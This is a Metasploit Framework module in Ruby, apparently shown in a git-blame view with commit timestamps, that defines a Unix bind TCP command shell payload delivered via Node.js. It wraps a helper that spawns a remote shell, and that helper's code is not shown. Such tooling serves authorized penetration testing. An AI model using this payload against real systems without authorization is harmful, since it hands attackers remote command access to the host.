2013-10-07 06:09:21 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-10-07 06:09:21 -05:00
|
|
|
##
|
|
|
|
|
|
2013-10-12 03:19:06 -05:00
|
|
|
require 'msf/core/payload/nodejs'
|
2013-10-07 06:09:21 -05:00
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2013-10-07 06:09:21 -05:00
|
|
|
|
2017-10-11 11:09:28 -05:00
|
|
|
CachedSize = 2239
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2013-10-07 06:09:21 -05:00
|
|
|
include Msf::Payload::Single
|
2013-10-12 03:19:06 -05:00
|
|
|
include Msf::Payload::NodeJS
|
2013-10-07 06:09:21 -05:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(merge_info(info,
|
|
|
|
|
'Name' => 'Unix Command Shell, Bind TCP (via nodejs)',
|
|
|
|
|
'Description' => 'Continually listen for a connection and spawn a command shell via nodejs',
|
|
|
|
|
'Author' => 'joev',
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'unix',
|
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
|
'RequiredCmd' => 'node',
|
|
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
|
))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def generate
|
|
|
|
|
super + command_string
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def command_string
|
2013-10-12 03:19:06 -05:00
|
|
|
nodejs_cmd(nodejs_bind_tcp)
|
2013-10-07 06:09:21 -05:00
|
|
|
end
|
|
|
|
|
end
|